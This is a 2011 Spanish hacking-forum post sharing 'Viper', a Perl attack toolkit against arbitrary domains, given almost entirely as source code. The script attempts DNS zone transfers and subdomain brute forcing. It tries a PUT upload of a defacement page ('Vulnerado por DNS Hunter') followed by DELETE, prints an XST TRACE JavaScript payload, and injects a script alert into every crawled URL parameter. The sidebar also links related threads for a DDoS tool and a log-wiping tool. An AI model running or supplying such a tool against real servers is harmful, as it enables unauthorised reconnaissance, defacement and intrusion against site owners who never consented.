Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Viper 0.1 Priv8 Tool By Xianur0

  • 0 Respuestas
  • 2347 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 27, 2011, 08:48:15 pm »
Código: Perl
  1. #!/usr/bin/perl
  2.  
  3.  
  4.   use MIME::Base64::Perl;
  5.   use IO::Socket::SSL;
  6.   use Net::DNS;
  7.   use Net::DNS::RR;
  8.   use NetAddr::IP;
  9.   use LWP::UserAgent;
  10.   use Socket;
  11.   use HTTP::Request::Common;
  12.   use XML::Simple;
  13.   use Getopt::Std;
  14.   use HTML::LinkExtor;
  15.   use URI::URL;
  16.   use HTML::Parser;
  17.   use Data::Dumper;
  18.   use Term::ANSIColor qw(:constants);
  19.     $Term::ANSIColor::AUTORESET = 1;
  20.  
  21. #Viper By Xianur0
  22.  
  23. #CONFIGURACION:
  24. #------------------------------------------
  25. $ver = "0.3";
  26. $useragent = "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15";
  27. %whoisserver = (
  28.          'com', 'whois.crsnic.net',
  29.          'net', 'whois.crsnic.net',
  30.          'edu', 'whois.crsnic.net',
  31.          'org', 'whois.publicinterestregistry.net',
  32.          'info', 'whois.rotld.ro',
  33.          'mx', 'whois.nic.mx');
  34. $ua = LWP::UserAgent->new;
  35. my $lib = XMLin("libs/lib.xml");
  36. #-------------------------------------------
  37.     print BOLD RED  "\n                                ..::Viper By Xianur0::..\n\n";
  38. my $host = $ARGV[0];
  39. $host = shift || die "[-]Uso: dns.pl [dominio] [opciones]\nOpciones:\n-h HTTP AttackToolKit\n-w Ataque Whois\n-d Ataque DNS\n-a Ejecuta Todo lo Anterior\n-x Testear XSS Mixto\n-t Spider y Testeo de codigo (BETA) [host] -t [path]\n-i Scanner de Paths y RSS (BETA) [host] -i [path]\n";
  40. my $path = $ARGV[1];
  41. my $urlp = "http://".$host.$path;
  42. new NetAddr::IP($host) || die "Error: IP o Dominio Incorrecto!\n";
  43. print "\n[-]Inicio del Scanneo: ". localtime()."\n";
  44.         my $opt_string = 'whdtaxi';
  45.         getopts( "$opt_string", \%opt );
  46.         whois() if $opt{w};
  47.         dns() if $opt{d};
  48.         http() if $opt{h};
  49.         todo() if $opt{a};
  50.         xss() if $opt{x};
  51.         info() if $opt{i};
  52.         print "[-]Lanzando Spider!\n". spider($urlp) if $opt{t};
  53.         print "[-]Fin del Scanneo: ". localtime(). "\n";
  54.  
  55. sub dns() {
  56. &soa;
  57. &mx;
  58. &txt;
  59. &ns;
  60. &hinfo;
  61. &dnsrotativo;
  62. &any;
  63. &zonas;
  64. &xss();
  65. }
  66. sub todo() {
  67. info();
  68. whois();
  69. dns();
  70. http();
  71. xss();
  72. print "[-]Lanzando Spider!\n";
  73. spider($urlp);
  74. }
  75.  
  76. sub dnsrotativo {
  77. print "[-]Buscando DNS Rotativos (Mediante PTR)...:\n";
  78. my $consulta = new NetAddr::IP($host);
  79. &consultar;
  80. my $inicial = $ipaddr;
  81. &consultar;
  82. while($inicial ne $ipaddr) { &consultar; }
  83. }
  84.  
  85. sub consultar {
  86. my $consulta = new NetAddr::IP($host) || die "Error: IP o Dominio Incorrecto!\n";
  87. my $resolver = Net::DNS::Resolver->new;
  88. my $hosts = $consulta->num();
  89. for (my $i=0; $i<$hosts; ++$i) {
  90. $ipaddr = $consulta->addr();
  91. if ($ipaddr) {
  92. my $consulta = $resolver->search("$ipaddr");
  93. if ($consulta) {
  94. foreach my $array ($consulta->answer) {
  95. next unless $array->type eq "PTR";
  96. print "IP: $ipaddr\n","Host: " ,$array->ptrdname, "\n\n"; }
  97. } }}
  98. }
  99.  
  100. sub soa {
  101. print "[-]Registro SOA:\n";
  102.   my $resolver   = Net::DNS::Resolver->new;
  103.   my $consulta = $resolver->query($host, "SOA");
  104.   if ($consulta) {
  105.       ($consulta->answer)[0]->print;
  106.   }
  107. print "\n\n";
  108. }
  109.  
  110. sub zonas {
  111. if($sdns[0] eq "") { $sdns[0] = $ipaddr;}
  112.    foreach $dnsa (@sdns) {
  113. print "[-]Intentando Ataque AXFR....: Usando: $dnsa...";
  114.   my $consulta = Net::DNS::Resolver->new;
  115.   $consulta->nameservers($dnsa);
  116.   my @zonas = $consulta->axfr($host);
  117. if(!@zonas) { print "Error!..........\n"; &detectarcomodin; } else {
  118.   foreach $array (@zonas) {
  119.       $dat = $array->string;
  120. if($dat =~ "127.0.0.1") {
  121.     print BOLD RED "\n\n[-]Vulnerable a XSS Mixto!\n         [-] $dat\n\n\n";
  122. }
  123. print $dat."\n";
  124.   }     print BOLD RED  "\nVulnerado :D!\n\n";}
  125. print "\n\n";
  126. } }
  127.  
  128. sub ns {
  129.   my $consulta   = Net::DNS::Resolver->new;
  130.   my $consulta = $consulta->query($host, "NS");
  131.   if ($consulta) {
  132. print "[-]Servidores DNS:\n";
  133.       foreach $array (grep { $_->type eq 'NS' } $consulta->answer) {
  134. print $array->nsdname ."\n";
  135. @sdns = (@sdns, $array->nsdname);
  136.       }
  137.   }
  138. print "\n\n";
  139. }
  140.  
  141. sub hinfo {
  142.   my $consulta   = Net::DNS::Resolver->new;
  143.   my $consulta = $consulta->query($host, "HINFO");
  144.   if ($consulta) {
  145. print "\n[-]Registro HINFO:\n";
  146.       foreach $array ($consulta->answer) {
  147.       $array->print;
  148.       }}
  149. print "\n\n";
  150. }
  151.  
  152. sub mx {
  153.   my $resolver   = Net::DNS::Resolver->new;
  154.   my $consulta = $resolver->query($host, "MX");
  155.   if ($consulta) {
  156. print "\n[-]Servidores de Correo: \n";
  157.       foreach $array ($consulta->answer) {
  158.       $array->print;
  159. }
  160. print "\n";
  161. }
  162. }
  163.  
  164. sub txt {
  165.   my $resolver   = Net::DNS::Resolver->new;
  166.   my $consulta = $resolver->query($host, "TXT");
  167.   if ($consulta) {
  168. print "\n[-]Registro TXT (Configuracion MX): \n";
  169.       foreach $array ($consulta->answer) {
  170.       $array->print;
  171. }
  172. print "\n\n";
  173. }
  174. }
  175.  
  176. sub any {
  177. print "[-]Obteniendo informaciiƒÂ³n Extra:\n";
  178.   my $resolver   = Net::DNS::Resolver->new;
  179.   my $consulta = $resolver->query($host, "ANY");
  180.   if ($consulta) {
  181.       foreach $array ($consulta->answer) {
  182.       $array->print;
  183.   }}
  184. print "\n\n";
  185. }
  186.  
  187. sub detectarcomodin {
  188. my $consulta = new NetAddr::IP("dnshunterxianur0.$host");
  189. if($consulta) { print "\nServidor Protegido contra DNS Brutes Forces...."; &brute2; } else { print RED  "No Se Detecto Comodin :).\n"; brute();}
  190. }
  191.  
  192. sub brute() {
  193. if($brute ne "on") {
  194. $brute = "on";
  195. $db = 'libs/db.txt';
  196. my $sub;
  197. open(SUBS, $db) || die "No existe la DB!\n";
  198. if($host =~  "www.") {
  199. my @dat = split("www.", $host);
  200. $hostts = $dat[1];
  201. }
  202. else { $hostts = $host; }
  203. while($sub = <SUBS>){
  204. chomp($sub);
  205. $remoto = "$sub.$hostts";
  206. my $consulta = new NetAddr::IP($remoto);
  207. if($consulta) { print "$remoto existe!\n"; $is = $consulta->addr();
  208. if($is eq "127.0.0.1") {
  209.     print BOLD RED "\n\n[-]Vulnerable a XSS Mixto!\n         [-] $remoto : 127.0.0.1\n\n\n";
  210. }
  211.  
  212. &robots;}
  213.  
  214. }
  215. close(SUBS);
  216. }}
  217.  
  218. sub brute2 {
  219. $url = "detectarcomodinesenlosregistroshost.$host";
  220.   $req = HTTP::Request->new(GET => $url);
  221.   &headers;
  222.   $res = $ua->request($req);
  223.         $estado = $res->code;
  224.  
  225. if ($estado != ""){
  226.      print "Servidor Protegido Contra Brutes Forces en el Header Host del HTTP :(...\n";
  227. }
  228. else {&brute3; }
  229. }
  230.  
  231. sub headers {
  232.   $req->header('Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5');
  233.   $req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
  234.   $req->header('Keep-Alive' => '300');
  235.   $req->header('Connection' => 'keep-alive');
  236.   $req->header('Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');
  237. }
  238.  
  239. sub brute3 {
  240. $db = 'db.txt';
  241. my $sub;
  242. open(SUBS, $db) || die "No existe la DB!";
  243. while($sub = <SUBS>){
  244. chomp($sub);
  245. $remoto = "$sub.$host";
  246. my $proto = getprotobyname('tcp');
  247. my $ipaddr = inet_aton($remoto);
  248. my $paddr = sockaddr_in(80, $ipaddr);
  249. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
  250. $conected = connect(SOCKET, $paddr);
  251. close SOCKET;
  252.   if ($conected) {
  253.      print "$remoto Existe!\n";
  254.  
  255.   }
  256. }
  257. close(SUBS);
  258. }
  259.  
  260. sub robots {
  261.   $req = HTTP::Request->new(GET => "http://$host/robots.txt");
  262.   &headers;
  263.   $res = $ua->request($req);
  264.   if ($res->is_success) {
  265. if($res->content_type eq 'text/plain' && $res->content != "") {
  266.      print "--------------------------------------------------------------------------------------\n".$res->content."\n--------------------------------------------------------------------------------------\n";
  267.   }
  268. }
  269. }
  270. sub http() {
  271. use IO::Socket;
  272. print "\n[-]HTTP Attack ToolKit: \n\n";
  273. my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp',  Timeout=>'1', );
  274. if(!$sock) {print "No se Pudo Conectar a $host!\n"; } else {
  275. print $sock "OPTIONS / HTTP/1.1\nHost: $host\n\n";
  276. print "-----------------------Headers--------------------------\n";
  277. while ($linea = <$sock>) {
  278. if ($linea =~  "HTTP/1.") {
  279. print "Estado De Respuesta: ".$linea;
  280. }
  281. if ($linea =~  /Server:/) {
  282. print $linea;
  283. for( @{$lib->{server}} ) {
  284. if ($linea =~  "$_->{banner}") { print "Tipo de Servidor: $_->{nombre}\n"; }
  285. }
  286. }
  287. for( @{$lib->{header}} ) {
  288. if ($linea =~  "$_->{banner}") {
  289. if($linea !~ "<") {
  290. my @header = split(": ", $linea);
  291. print "$_->{nombre}".$header[1];
  292. }
  293.  }
  294. }
  295. }
  296. close($sock);
  297. print "-------------------------------------------------\n\n";
  298. #PUT
  299. my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp',  ); die "No se Pudo Conectar a $host!\n" unless $sock;
  300. print $sock "PUT /hacked.htm HTTP/1.1\nHost: $host\nContent-Length: 38\n\r\n\r<h1>Vulnerado por DNS Hunter 0.2</h1>\n\r\n\r";
  301. @linea = (<$sock>);
  302. for( @{$lib->{estado}} ) {
  303. if ($linea[0] =~  $_->{numero}) {
  304. print "[-]Vulnerable a PUT!!....\n      Estado de Respuesta: $_->{numero}\n\n";
  305.  }
  306. }
  307. close($sock);
  308. #TRACE
  309. my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', Timeout=>'10', ); die "No se Pudo Conectar a $host!\n" unless $sock;
  310. print $sock "TRACE / HTTP/1.1\nHost: $host\n\r\n\r";
  311. while ($linea = <$sock>) {
  312. if ($linea =~  "message/http") {
  313. print "[-]Vulnerable a TRACE!.....:\nCodigo XST de Demostracion:.\n------------------------------------------\n<script>\nvar xmlhttp = new XMLHttpRequest();\n//var xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');\nActiveXObject('Microsoft.XMLHTTP');\nxmlhttp.open('TRACE','http://$host/',false);\nxmlhttp.send(null);\ntext=xmlhttp.responseText;\ndocument.write(text);\n</script>\n------------------------------------------\n\n";
  314. }
  315.       }
  316. close($sock);
  317. #DELETE
  318. my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp',  Timeout=>'10', ); die "No se Pudo Conectar a $host!\n" unless $sock;
  319. print $sock "DELETE /hacked.htm HTTP/1.1\nHost: $host\n\r\n\r";
  320. @linea = (<$sock>);
  321. for( @{$lib->{estado}} ) {
  322. if ($linea[0] =~  $_->{numero}) {
  323. print "[-]Vulnerable a DELETE!!....\n      Estado de Respuesta: $_->{numero}\n\n";
  324.  }
  325. }
  326. close($sock);
  327. }}
  328.  
  329. sub whois() {
  330. my @hosts = split(/\./, $host);
  331. $extencion = pop(@hosts);
  332. $whoisserver = $whoisserver{$extencion};
  333. if($whoisserver eq "") {print "Whois No Disponible para la Extencion: $extencion";} else {
  334. my $sock = new IO::Socket::INET ( PeerAddr => $whoisserver, PeerPort => 43, Proto => 'tcp',  Timeout=>'10', );
  335. print $sock "=".$host."\n";
  336. print "\n[-]Whois ($whoisserver): \n-------------------------<Whois>----------------------------\n\n";
  337. while ($linea = <$sock>) {
  338. if($linea =~ $host) {
  339. print "Server: $linea";
  340. }
  341. if($linea =~ "Whois Server") {
  342. my @dato = split(": ", $linea);
  343. chop($dato[1]);
  344. print "Server Whois Interno: $dato[1]";
  345. my $who = new IO::Socket::INET ( PeerAddr =>$dato[1], PeerPort => 43, Proto => 'tcp',  Timeout=>'10', );
  346. if($who) {
  347. print $who $host."\n";
  348. print "\n[-]<Whois Interno de $host>\n\n";
  349. print <$who>;
  350. print "\n\n[-]</Whois Interno de $host>\n\n";
  351. }
  352. } else {
  353. for( @{$lib->{whois}} ) {
  354. if ($linea =~  "$_->{etiqueta}") {
  355. my @dato = split(": ", $linea);
  356. print "$_->{imprimir}".$dato[1]; }
  357. }
  358. }}
  359. print "\n-------------------------</Whois>----------------------------\n\n";
  360. }}
  361.  
  362. sub spider() {
  363. my $hostt=shift;
  364. if($lista{$hostt} ne $hostt) {
  365. $lista{$hostt} = $hostt;
  366.   my @nexo = ();
  367.   sub tags {
  368.      my($tag, %attr) = @_;
  369.      return if $tag ne 'a';
  370.      push(@nexo, values %attr);
  371.   }
  372.   $p = HTML::LinkExtor->new(\&tags);
  373.   $ua = LWP::UserAgent->new;
  374.   $ua->agent($useragent);
  375.   $res = $ua->request(HTTP::Request->new(GET => $hostt),
  376.                       sub {$p->parse($_[0])});
  377.   if(!$res->is_success) { print YELLOW  "\nUser-Agent: $useragent Bloqueado!\n"; } else {
  378.   my $base = $res->base;
  379.   @nexo = map { $_ = url($_, $base)->abs; } @nexo;
  380.    foreach $url (@nexo) {
  381. my @dat = split("/", $url);
  382. if($dat[0] eq "") { $url = "http://".$host.$url;}
  383.   $url =~ s'='=-1 <script>alert(Fenix)</script> -1'g;
  384.  $req = HTTP::Request->new(GET => $url);
  385.  $req->header('Accept' => 'text/html');
  386.  $res = $ua->request($req);
  387.  if ($res->is_success) {
  388.    $contenido = $res->content;
  389. for( @{$lib->{http}} ) {
  390. if ($contenido =~  "$_->{etiqueta}") {
  391. print "\n\nBug Detectado: $_->{imprimir}".$url."\n\n"; }
  392. }
  393.  }
  394. spider($url);
  395. }
  396. }
  397. }}
  398.  
  399. sub xss(){
  400. $xssmixto = new NetAddr::IP('localhost.'.$host) || exit;
  401. $ipv = $xssmixto->addr();
  402. if($ipv eq "127.0.0.1") {
  403. print BOLD RED  "\n[-]Vulnerable a XSS Mixto!\n[-]localhost.$host: $ipv\n\n\n";
  404. }
  405. }
  406.  
  407.  
  408. sub info() {
  409.    my $lib = XMLin("libs/lib.xml");
  410.    $Term::ANSIColor::AUTORESET = 1;
  411.    $ua = LWP::UserAgent->new;
  412.    my $useragent = "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15";
  413.    my $web = $urlp;
  414. my $parser = HTML::Parser->new(api_version=>3,
  415. start_h=>[\&parsear, 'tag, attr'] ,);
  416. $useragent = "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15";
  417.  
  418. &tempse;
  419. &cms;
  420.  
  421. sub tempse {
  422. print RED "\nLoading Dictionary....\n";
  423. my $temp;
  424. open(TEMPS, "libs/temps.txt") || die "No existe la DB!\n";
  425. while($temp = <TEMPS>){
  426. chomp($temp);
  427. $tempurl = $web."/".$temp;
  428.  $req = HTTP::Request->new(HEAD => $tempurl);
  429.  $req->header('Accept' => 'text/html');
  430.  $ua->agent($useragent);
  431.  $res = $ua->request($req);
  432.  if ($res->is_success) {
  433. print "Interesting File Found: ".$tempurl."\n";
  434.  }
  435. }
  436. }
  437.  
  438. sub cms {
  439.  my $p = new HTML::Parser;
  440.  $req = HTTP::Request->new(GET => $web);
  441.  $req->header('Accept' => 'text/html');
  442.  $ua->agent($useragent);
  443.  $res = $ua->request($req);
  444.  if($res->is_success) {
  445. $html = $res->content;
  446. sub parsear {
  447.     my ($tag, $attr) = @_;
  448. if($tag =~ "link") {
  449. $type = $attr->{"type"};
  450. if($type =~ "application/") {
  451. $href = $attr->{"href"};
  452. if($href !~ "http://") { $href = "http://$host/$href";}
  453. print "RSS: ".$rss."\n";
  454. }
  455. }
  456. }
  457.  
  458. }}}
« Última modificación: Marzo 14, 2015, 09:52:10 am por Expermicid »
Me cambie de messenger ahora es: [email protected]

 

¿Te gustó el post? COMPARTILO!



[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 2126
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear
Tool para borrar logs en Linux

Iniciado por @ed33x

Respuestas: 0
Vistas: 3020
Último mensaje Enero 27, 2011, 08:46:20 pm
por @ed33x
[Perl] Shodan Tool 0.6

Iniciado por BigBear

Respuestas: 1
Vistas: 3959
Último mensaje Abril 16, 2015, 11:37:49 am
por .:UND3R:.
[Perl Tk] BingHack Tool 0.1

Iniciado por BigBear

Respuestas: 1
Vistas: 2124
Último mensaje Mayo 26, 2012, 11:18:06 am
por Pr0ph3t
[Perl Tk] MD5 Crack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1498
Último mensaje Agosto 19, 2011, 11:28:03 pm
por BigBear